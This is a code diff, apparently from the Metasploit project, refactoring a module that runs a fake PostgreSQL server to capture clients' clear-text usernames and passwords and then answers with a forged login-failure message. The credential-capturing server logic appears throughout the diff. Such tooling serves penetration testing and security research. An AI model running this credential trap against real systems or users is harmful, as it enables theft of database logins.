@@ -15,11 +15,10 @@ class Metasploit3 < Msf::Auxiliary
15
15
def initialize
16
16
super (
17
17
'Name' => 'Authentication Capture: PostgreSQL' ,
18
- 'Version' => '$Revision$' ,
19
18
'Description' => %q{
20
19
This module provides a fake PostgreSQL service that is designed to
21
20
capture clear-text authentication credentials.} ,
22
- 'Author' => 'Dhiru Kholia <dhiru at openwall.com>' ,
21
+ 'Author' => 'Dhiru Kholia <dhiru[at] openwall.com>' ,
23
22
'License' => MSF_LICENSE ,
24
23
'Actions' => [ [ 'Capture' ] ] ,
25
24
'PassiveActions' => [ 'Capture' ] ,
@@ -64,9 +63,9 @@ def on_client_data(c)
64
63
@state [ c ] [ "status" ] = :send_auth_type
65
64
elsif @state [ c ] [ "status" ] == :send_auth_type
66
65
# Startup message
67
- length = data . slice! ( 0 , 4 ) . unpack ( "N" ) [ 0 ]
68
- protocol = data . slice! ( 0 , 4 ) . unpack ( "N" ) [ 0 ]
69
- sdata = [ 0x52 , 0x00 , 0x00 , 0x00 , 0x08 , 0x00 , 0x00 , 0x00 , 0x03 ] . pack ( "CCCCCCCCC " )
66
+ data . slice! ( 0 , 4 ) . unpack ( "N" ) [ 0 ] # skip over length
67
+ data . slice! ( 0 , 4 ) . unpack ( "N" ) [ 0 ] # skip over protocol
68
+ sdata = [ 0x52 , 0x00 , 0x00 , 0x00 , 0x08 , 0x00 , 0x00 , 0x00 , 0x03 ] . pack ( "C* " )
70
69
c . put sdata
71
70
data . slice! ( 0 , 5 ) # skip over "user\x00"
72
71
@state [ c ] [ :username ] = data . slice! ( 0 , data . index ( "\x00 " ) + 1 ) . unpack ( "Z*" ) [ 0 ]
@@ -75,12 +74,12 @@ def on_client_data(c)
75
74
@state [ c ] [ "status" ] = :pwn
76
75
elsif @state [ c ] [ "status" ] == :pwn and data [ 0 ] == 'p'
77
76
# Password message
78
- length = data . slice! ( 0 , 5 ) . unpack ( "N" ) [ 0 ]
77
+ data . slice! ( 0 , 5 ) . unpack ( "N" ) [ 0 ] # skip over length
79
78
@state [ c ] [ :password ] = data . slice! ( 0 , data . index ( "\x00 " ) + 1 ) . unpack ( "Z*" ) [ 0 ]
80
79
report_auth_info (
81
80
:host => c . peerhost ,
82
81
:port => datastore [ 'SRVPORT' ] ,
83
- :sname => 'psql ' ,
82
+ :sname => 'psql_client ' ,
84
83
:user => @state [ c ] [ :username ] ,
85
84
:pass => @state [ c ] [ :password ] ,
86
85
:type => "PostgreSQL credentials" ,
@@ -90,20 +89,17 @@ def on_client_data(c)
90
89
)
91
90
print_status ( "PostgreSQL LOGIN #{ @state [ c ] [ :name ] } #{ @state [ c ] [ :username ] } / #{ @state [ c ] [ :password ] } / #{ @state [ c ] [ :database ] } " )
92
91
# send failure message
93
- sdata = [
94
- 0x45 , 97 - 8 + @state [ c ] [ :username ] . length , 0x53 ,
95
- 0x46 , 0x41 , 0x54 , 0x41 , 0x4c , 0x00 , 0x43 , 0x32 ,
96
- 0x38 , 0x50 , 0x30 , 0x31 , 0x00 , 0x4d , 0x70 , 0x61 ,
97
- 0x73 , 0x73 , 0x77 , 0x6f , 0x72 , 0x64 , 0x20 , 0x61 ,
98
- 0x75 , 0x74 , 0x68 , 0x65 , 0x6e , 0x74 , 0x69 , 0x63 ,
99
- 0x61 , 0x74 , 0x69 , 0x6f , 0x6e , 0x20 , 0x66 , 0x61 ,
100
- 0x69 , 0x6c , 0x65 , 0x64 , 0x20 , 0x66 , 0x6f , 0x72 ,
101
- 0x20 , 0x75 , 0x73 , 0x65 , 0x72 , 0x20 , 0x22
102
- ] . pack ( "CN" + "C" * 56 ) + @state [ c ] [ :username ] +
103
- [ 0x22 , 0x00 , 0x46 , 0x61 , 0x75 , 0x74 , 0x68 , 0x2e ,
104
- 0x63 , 0x00 , 0x4c , 0x33 , 0x30 , 0x32 , 0x00 ,
105
- 0x52 , 0x61 , 0x75 , 0x74 , 0x68 , 0x5f , 0x66 ,
106
- 0x61 , 0x69 , 0x6c , 0x65 , 0x64 , 0x00 , 0x00 ] . pack ( "C" * 29 )
92
+ sdata = [ 0x45 , 97 - 8 + @state [ c ] [ :username ] . length ] . pack ( "CN" )
93
+ sdata << "SFATAL"
94
+ sdata << "\x00 "
95
+ sdata << "Mpassword authentication failed for user \" #{ @state [ c ] [ :username ] } \" "
96
+ sdata << "\x00 "
97
+ sdata << "Fauth.c"
98
+ sdata << "\x00 "
99
+ sdata << "L302"
100
+ sdata << "\x00 "
101
+ sdata << "Rauth_failed"
102
+ sdata << "\x00 \x00 "
107
103
c . put sdata
108
104
c . close
109
105
end
0 commit comments